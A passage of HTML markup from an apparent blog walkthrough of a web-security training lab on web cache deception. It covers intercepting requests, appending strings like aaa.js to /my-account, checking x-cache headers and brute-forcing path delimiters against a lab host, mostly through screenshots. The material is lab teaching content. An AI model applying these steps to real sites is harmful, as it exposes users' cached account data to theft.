/&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  Then, go back to web page (lab page) and simple type the username and
  password&amp;nbsp;&lt;b&gt;wiener : peter&amp;nbsp;&lt;/b&gt;and again&amp;nbsp;&lt;b&gt;Turn on the proxy&amp;nbsp;&lt;/b&gt;and&amp;nbsp;&lt;b&gt;intercept the HTTP request&amp;nbsp;&lt;/b&gt;.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSx1Evin4Cbp8OYUIT-QB382uSUSPF2HYdW3NUcVhczkvPfvp25RTxdfRZtaMXgPajfQh9su_QY1KyljQA5hTtzJ4m-Tpd-MtEdq7e0YGrHD1qduH1kjwu8gKmpBBBNrqCsjY4yvm687k13L1_T94CocQxO3_slnoCN6IPLHAOzrCJjGT19ncf3eBmU9SM/s715/6.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;387&quot; data-original-width=&quot;715&quot; height=&quot;346&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSx1Evin4Cbp8OYUIT-QB382uSUSPF2HYdW3NUcVhczkvPfvp25RTxdfRZtaMXgPajfQh9su_QY1KyljQA5hTtzJ4m-Tpd-MtEdq7e0YGrHD1qduH1kjwu8gKmpBBBNrqCsjY4yvm687k13L1_T94CocQxO3_slnoCN6IPLHAOzrCJjGT19ncf3eBmU9SM/w640-h346/6.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  Login is done now if you want you can turn off the proxy in chrome browser (by
  the way why i am doing this again n again n again because of&lt;b&gt;
    you have to intercept what you wanted to but sometimes the page still keeps
    loading thats why&lt;/b&gt;)&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXrFD6SYePTqMeqfxKjnR2vxyakDGiBhvxmlF3v5ag9XTlIM1yCpRiLK0i5OATabCmUrr-8RHshPPnpkWdrARhtRwGiI7fSqXZ4kBXL8VL5nUzHkZkhF7poumS0fW83RY4t5EFL7Aa23W8iEhDI7GB1lz_hZ4kpkK2CNMUkxV6V6LvTh7JTPIJbefx8s5S/s777/7.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;Exploiting path delimiters for web cache deception&quot; border=&quot;0&quot; data-original-height=&quot;617&quot; data-original-width=&quot;777&quot; height=&quot;508&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXrFD6SYePTqMeqfxKjnR2vxyakDGiBhvxmlF3v5ag9XTlIM1yCpRiLK0i5OATabCmUrr-8RHshPPnpkWdrARhtRwGiI7fSqXZ4kBXL8VL5nUzHkZkhF7poumS0fW83RY4t5EFL7Aa23W8iEhDI7GB1lz_hZ4kpkK2CNMUkxV6V6LvTh7JTPIJbefx8s5S/w640-h508/7.png&quot; title=&quot;Exploiting path delimiters for web cache deception&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Now you will see that you have got&amp;nbsp;&lt;b&gt;API&amp;nbsp;&lt;/b&gt;&lt;/p&gt;
&lt;div&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidFqVNz4jGlwlF17aGwIExCmt8GrAzqi1Q8N5jnKSSqQRi-6mogQLkxaTP9jlSxig3OZvqcZMbDgfXC1SZszJN20fWf901DlPG4hlQFoL6WxjF1nIfmZ4WQpvdpQWOr_F7iThICdiU4iUYxDF5_BTPq-vewlD7Rcc4QZElPmmt3vJDH6veSYk8S1HiLevM/s517/8.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;Exploiting path delimiters for web cache deception&quot; border=&quot;0&quot; data-original-height=&quot;307&quot; data-original-width=&quot;517&quot; height=&quot;380&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidFqVNz4jGlwlF17aGwIExCmt8GrAzqi1Q8N5jnKSSqQRi-6mogQLkxaTP9jlSxig3OZvqcZMbDgfXC1SZszJN20fWf901DlPG4hlQFoL6WxjF1nIfmZ4WQpvdpQWOr_F7iThICdiU4iUYxDF5_BTPq-vewlD7Rcc4QZElPmmt3vJDH6veSYk8S1HiLevM/w640-h380/8.png&quot; title=&quot;Exploiting path delimiters for web cache deception&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  Now on that same page edit the&amp;nbsp;&lt;b&gt;URL&amp;nbsp;&lt;/b&gt;&amp;nbsp;and simple add the
  some kind of&amp;nbsp;&lt;b&gt;alphabet&lt;/b&gt;&amp;nbsp;name like (in our
  case&amp;nbsp;&lt;b&gt;aaa.js&lt;/b&gt;) and hit enter.
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;https://0a57008903714a5485c3b587002f00df.web-security-academy.net/my-account&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRsZJJFz3cSmrsLogGdS2O6wClmsQDXgjlIR3I-yiz4b269-aMiIU2a_CBXMOqvthP5yhrx4c-_nG47_PchRG5rtGGti8V9wHt-kUvxWIZMmNwVFo4t6-CjUF024sDHpID8LYbeZC4XdLUWEq-xFfwZYXxCkg5BQ2rPJMY0p9LKtMxKypwG8aFSmwgxawZ/s711/9.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;107&quot; data-original-width=&quot;711&quot; height=&quot;96&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRsZJJFz3cSmrsLogGdS2O6wClmsQDXgjlIR3I-yiz4b269-aMiIU2a_CBXMOqvthP5yhrx4c-_nG47_PchRG5rtGGti8V9wHt-kUvxWIZMmNwVFo4t6-CjUF024sDHpID8LYbeZC4XdLUWEq-xFfwZYXxCkg5BQ2rPJMY0p9LKtMxKypwG8aFSmwgxawZ/w640-h96/9.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
  &lt;script async=&quot;&quot; crossorigin=&quot;anonymous&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;&gt;&lt;/script&gt;
&lt;ins class=&quot;adsbygoogle&quot; data-ad-client=&quot;ca-pub-5520475398835856&quot; data-ad-format=&quot;fluid&quot; data-ad-layout=&quot;in-article&quot; data-ad-slot=&quot;3523395111&quot; style=&quot;display: block; text-align: center;&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
  &lt;p&gt;
    &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
  &lt;/p&gt;
  &lt;p&gt;
    &lt;b&gt;https://0a57008903714a5485c3b587002f00df.web-security-academy.net/my-accountaaa.js&lt;/b&gt;
  &lt;/p&gt;
  &lt;p&gt;
    &lt;b&gt;Note :&lt;/b&gt; If the response is identical to the original response, this
    indicates that the request is being redirected. You&#39;ll need to choose a
    different endpoint to test.
  &lt;/p&gt;
  &lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIj2bc8z-kehIUTryWMCTUEmEl7ZUmOsGDSQYe5BKyK_zr2RfiayS3x6DRlGFL6Rkt1AStsswXNIVcOF6S-6p0M0B6xQRSEk_Pf_Ay2EDc5oIAHXMI7BdJNxaFsFyiImFX9w2Kbkm479IL1xO6CSw6TH-1xQ3V2vZFVV9AMGLyaaUG_vck58_vWLqkDvG_/s454/10.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;Exploiting path delimiters for web cache deception&quot; border=&quot;0&quot; data-original-height=&quot;98&quot; data-original-width=&quot;454&quot; height=&quot;138&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIj2bc8z-kehIUTryWMCTUEmEl7ZUmOsGDSQYe5BKyK_zr2RfiayS3x6DRlGFL6Rkt1AStsswXNIVcOF6S-6p0M0B6xQRSEk_Pf_Ay2EDc5oIAHXMI7BdJNxaFsFyiImFX9w2Kbkm479IL1xO6CSw6TH-1xQ3V2vZFVV9AMGLyaaUG_vck58_vWLqkDvG_/w640-h138/10.png&quot; title=&quot;Exploiting path delimiters for web cache deception&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;After hitting on the URL you have to check &lt;b&gt;intercept HTTP history&lt;/b&gt;.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIe6mKXMHQy7zMAw-kKaCobJ6CTRn4gZq6P_isA1QjSHFOnF3CED4_4L67h0rxgSFGWftNchTjd91FY_zZCQpoSZUvXMgn55SAtbBz-aToKs_I5Qu_IPiKCATAkXKun-4eS0esf0lzCocNu7pGCn5T9BhnjJi0QRrPqDY6Ff5uZbaarktpUPV9ou3KrGty/s910/11.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;Exploiting path delimiters for web cache deception&quot; border=&quot;0&quot; data-original-height=&quot;430&quot; data-original-width=&quot;910&quot; height=&quot;302&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIe6mKXMHQy7zMAw-kKaCobJ6CTRn4gZq6P_isA1QjSHFOnF3CED4_4L67h0rxgSFGWftNchTjd91FY_zZCQpoSZUvXMgn55SAtbBz-aToKs_I5Qu_IPiKCATAkXKun-4eS0esf0lzCocNu7pGCn5T9BhnjJi0QRrPqDY6Ff5uZbaarktpUPV9ou3KrGty/w640-h302/11.png&quot; title=&quot;Exploiting path delimiters for web cache deception&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  and as you can see below image still &lt;b&gt;x-cache : miss&amp;nbsp;&lt;/b&gt;&amp;nbsp;is
  coming but after that again you need to send the &lt;b&gt;repeater section&lt;/b&gt;.
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_eznEDI0XWKkwVK7DmAGcULB1CVqqC8d1fwfTOxtWyEzcX1BGCnQzfEbkjS2hExlJ5tLv3NMX9ambj9Iuw3OoMkzjCEdxykiOuYG_AwSMFlEQNv7aEK3PA8Z4MUnT0jhCK57EUtWVJBf5pxwgbDLLfr2ZmKEH1b1ckzWl39XOq2Z9imi-4FO1ySZzKq0e/s885/13.png&quot; style=&quot;margin-left: 1em; margin-right: 1em; text-align: center;&quot;&gt;&lt;img alt=&quot;Exploiting path delimiters for web cache deception&quot; border=&quot;0&quot; data-original-height=&quot;257&quot; data-original-width=&quot;885&quot; height=&quot;186&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_eznEDI0XWKkwVK7DmAGcULB1CVqqC8d1fwfTOxtWyEzcX1BGCnQzfEbkjS2hExlJ5tLv3NMX9ambj9Iuw3OoMkzjCEdxykiOuYG_AwSMFlEQNv7aEK3PA8Z4MUnT0jhCK57EUtWVJBf5pxwgbDLLfr2ZmKEH1b1ckzWl39XOq2Z9imi-4FO1ySZzKq0e/w640-h186/13.png&quot; title=&quot;Exploiting path delimiters for web cache deception&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEbdjQK98WaYiJOCP94nD_M0BX_pZyoVMZHeOA3mL2zD2hnaCGULx7-3cPtgkg6nU-Id1y-DfO895oYJYEvA6z-Tm9gwOGlES_5hEV62ON6bKfveglHZmZ6IT3jtzD769o-bLZH-nb62Bbh5YCLV4yQQfTrP1xSdRZ-MZwX0wRuAYuElmfgGeD7UJqlRZG/s730/12.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;Exploiting path delimiters for web cache deception&quot; border=&quot;0&quot; data-original-height=&quot;489&quot; data-original-width=&quot;730&quot; height=&quot;428&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEbdjQK98WaYiJOCP94nD_M0BX_pZyoVMZHeOA3mL2zD2hnaCGULx7-3cPtgkg6nU-Id1y-DfO895oYJYEvA6z-Tm9gwOGlES_5hEV62ON6bKfveglHZmZ6IT3jtzD769o-bLZH-nb62Bbh5YCLV4yQQfTrP1xSdRZ-MZwX0wRuAYuElmfgGeD7UJqlRZG/w640-h428/12.png&quot; title=&quot;Exploiting path delimiters for web cache deception&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;
&lt;p&gt;
  and send the request and see in right side still coming
  &lt;b&gt;x-cache : miss &lt;/b&gt;but again n again send the request and finally you will
  get &lt;b&gt;x-cache: hit .&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
  But what does it mean let&#39;s check in our &lt;b&gt;BLOG&lt;/b&gt;&amp;nbsp;-
  &lt;a href=&quot;https://www.hackingtruth.in/2024/09/exploiting-path-mapping-for-web-cache.html&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;click Here&amp;nbsp;&lt;/b&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlAvGVUq_WctalZbwffGIvLS70X_MOFeMEdMGv3zNFBNXur24WM-sBhGXTqrwiF8psG48_FgglNcNkbeyFMWk8wRO4egGBCOSLRnrJTZ9jXmzCu6p6_OaDF30aoUak3Irp8Tt8dN9SOfNJlQRbOvJTz7FTn4vlYw7DN4C3Jm2DGHcP1h3Ny9aA50yzwtBt/s917/15.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;Exploiting path delimiters for web cache deception&quot; border=&quot;0&quot; data-original-height=&quot;352&quot; data-original-width=&quot;917&quot; height=&quot;246&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlAvGVUq_WctalZbwffGIvLS70X_MOFeMEdMGv3zNFBNXur24WM-sBhGXTqrwiF8psG48_FgglNcNkbeyFMWk8wRO4egGBCOSLRnrJTZ9jXmzCu6p6_OaDF30aoUak3Irp8Tt8dN9SOfNJlQRbOvJTz7FTn4vlYw7DN4C3Jm2DGHcP1h3Ny9aA50yzwtBt/w640-h246/15.png&quot; title=&quot;Exploiting path delimiters for web cache deception&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfw7BwrsI4YpVtAJGOn3sa9WfPsAksIhm9V0l2tvDDZgdCgtCewLMMWr_HLbtYECIYX8rfO7xGEP1g_rE2B178lts4xsSKr0RJ89O0zBGyWU1Nb1OHr8ifkBfPjzYEMbK9zsoYGfWZ-GnAACCg391DUVNwvfGvXLgJ5Dibr5BZrpqGLAYshbe-zgdaktyu/s941/16.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;Exploiting path delimiters for web cache deception&quot; border=&quot;0&quot; data-original-height=&quot;451&quot; data-original-width=&quot;941&quot; height=&quot;306&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfw7BwrsI4YpVtAJGOn3sa9WfPsAksIhm9V0l2tvDDZgdCgtCewLMMWr_HLbtYECIYX8rfO7xGEP1g_rE2B178lts4xsSKr0RJ89O0zBGyWU1Nb1OHr8ifkBfPjzYEMbK9zsoYGfWZ-GnAACCg391DUVNwvfGvXLgJ5Dibr5BZrpqGLAYshbe-zgdaktyu/w640-h306/16.png&quot; title=&quot;Exploiting path delimiters for web cache deception&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Sent into intruder section -&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUGeLIPuXObbRyrZx02jaEp0zNfNhN-EGnkDinVsd-4GVlFQ0JlGfydKPHuJVdCQFXJbREicv3n0YSSJkP9QcPeUcGfDdwV-BZYXEsITaeorjZ79oAtkofkjkzZEZeZnLQekBHqK-3fN8hg0trI3Q8qbPfyu0Oxt26ZyhBBfjzc9kR09aRQChSA6zGzM1L/s636/17.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;Exploiting path delimiters for web cache deception&quot; border=&quot;0&quot; data-original-height=&quot;512&quot; data-original-width=&quot;636&quot; height=&quot;516&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUGeLIPuXObbRyrZx02jaEp0zNfNhN-EGnkDinVsd-4GVlFQ0JlGfydKPHuJVdCQFXJbREicv3n0YSSJkP9QcPeUcGfDdwV-BZYXEsITaeorjZ79oAtkofkjkzZEZeZnLQekBHqK-3fN8hg0trI3Q8qbPfyu0Oxt26ZyhBBfjzc9kR09aRQChSA6zGzM1L/w640-h516/17.png&quot; title=&quot;Exploiting path delimiters for web cache deception&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  Now in intruder section we will highlight the string and
  &lt;b&gt;insert a new payload maker (add).&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgauE6Ejnk1wLQQC3W_d5bW-ra2DnaGptBuXXeMc3DHR5UFae8OVSfjeMRxs-jXvClnMxaHW27isqm4hGpqu7qqrJAjr1hY-whygXrYrSGW1ggNkP9BdrjZQP8CMXahb3YSFHdNWzVPDXlyhwl0RSyAbvku4yuGEEn26h_-yD7nBz0Y8nozJlbDeld9IajS/s883/19.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;506&quot; data-original-width=&quot;883&quot; height=&quot;366&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgauE6Ejnk1wLQQC3W_d5bW-ra2DnaGptBuXXeMc3DHR5UFae8OVSfjeMRxs-jXvClnMxaHW27isqm4hGpqu7qqrJAjr1hY-whygXrYrSGW1ggNkP9BdrjZQP8CMXahb3YSFHdNWzVPDXlyhwl0RSyAbvku4yuGEEn26h_-yD7nBz0Y8nozJlbDeld9IajS/w640-h366/19.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;script async=&quot;&quot; crossorigin=&quot;anonymous&quot; src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5520475398835856&quot;&gt;&lt;/script&gt;
&lt;!--sep  2024--&gt;
&lt;ins class=&quot;adsbygoogle&quot; data-ad-client=&quot;ca-pub-5520475398835856&quot; data-ad-format=&quot;auto&quot; data-ad-slot=&quot;2642069341&quot; data-full-width-responsive=&quot;true&quot; style=&quot;display: block;&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVv7Xcn6v7MVXCwID9bS7uDL_MKxX3qyTza0cTEjiB-zZBToRDpjyv_TueWjZw4n8JSaOrfDQEyWCjtwOaEFrTQjkhW5lQTt7nB-ix_5JtZ8Oxwk6DyIN1_EZhC4YQ6n0dIWTYZN2b2Xlsky6CAHJJoE8dF9OYt_Lw2MiRoTh3SDdJMpHmYfqPTgNjpcvw/s293/20.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;Exploiting path delimiters for web cache deception&quot; border=&quot;0&quot; data-original-height=&quot;126&quot; data-original-width=&quot;293&quot; height=&quot;275&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVv7Xcn6v7MVXCwID9bS7uDL_MKxX3qyTza0cTEjiB-zZBToRDpjyv_TueWjZw4n8JSaOrfDQEyWCjtwOaEFrTQjkhW5lQTt7nB-ix_5JtZ8Oxwk6DyIN1_EZhC4YQ6n0dIWTYZN2b2Xlsky6CAHJJoE8dF9OYt_Lw2MiRoTh3SDdJMpHmYfqPTgNjpcvw/w640-h275/20.png&quot; title=&quot;Exploiting path delimiters for web cache deception&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCo_ORw9S3cDfTAm23J2I0MZymmIbuF9VwrS_BJIJ5maM0I7gFc9P5yb4zT9aQf9cD4cza1x5JgQvEqUBW_-gp1hjshIA420MUKUUYbVC7eOH4Thk26F1dftdX1qsITP3fbocrivRwyWrgsQZcHI2qzHN_rI5V_lOuwoKTWWLARthyphenhyphenuv6vIY00R1v4FPgZ/s314/21.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;Exploiting path delimiters for web cache deception&quot; border=&quot;0&quot; data-original-height=&quot;188&quot; data-original-width=&quot;314&quot; height=&quot;383&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCo_ORw9S3cDfTAm23J2I0MZymmIbuF9VwrS_BJIJ5maM0I7gFc9P5yb4zT9aQf9cD4cza1x5JgQvEqUBW_-gp1hjshIA420MUKUUYbVC7eOH4Thk26F1dftdX1qsITP3fbocrivRwyWrgsQZcHI2qzHN_rI5V_lOuwoKTWWLARthyphenhyphenuv6vIY00R1v4FPgZ/w640-h383/21.png&quot; title=&quot;Exploiting path delimiters for web cache deception&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  Now paste the delimiter in payload section and trying as a brute force attack
  to serach a delimiter (arbitrary string, this indicates that the ; character
  isn&#39;t used as a delimiter and the origin server interprets the path
  as&amp;nbsp;&lt;b&gt;/my-account;aa.js&lt;/b&gt;)
&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;
  &lt;b&gt;Web cache deception lab delimiter list -&lt;u&gt;&lt;a href=&quot;https://0a57008903714a5485c3b587002f00df.web-security-academy.net/my-account&quot; target=&quot;_blank&quot;&gt;
        Click Here&amp;nbsp;&lt;/a&gt;&lt;/u&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
  &lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihXdnWtRHfks-xxAggR3tVzANaUlNOMhHYEFz3_vKoAa-aVlBvG5WtChswAfdBoRLJzyj1z-twVbLdoalBsd1Asg02fyjWW5uwolmbVYRFfQdhhGnoXDNsf-sjIt2LOtHn5qAZ-k7wTehJ-e5RcgVzfbpXryzhNLVGcsjBQbOKHxfKqhGbU-BFMV0mJ36e/s484/25.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;Exploiting path delimiters for web cache deception&quot; border=&quot;0&quot; data-original-height=&quot;446&quot; data-original-width=&quot;484&quot; height=&quot;590&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihXdnWtRHfks-xxAggR3tVzANaUlNOMhHYEFz3_vKoAa-aVlBvG5WtChswAfdBoRLJzyj1z-twVbLdoalBsd1Asg02fyjWW5uwolmbVYRFfQdhhGnoXDNsf-sjIt2LOtHn5qAZ-k7wTehJ-e5RcgVzfbpXryzhNLVGcsjBQbOKHxfKqhGbU-BFMV0mJ36e/w640-h590/25.png&quot; title=&quot;Exploiting path delimiters for web cache deception&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
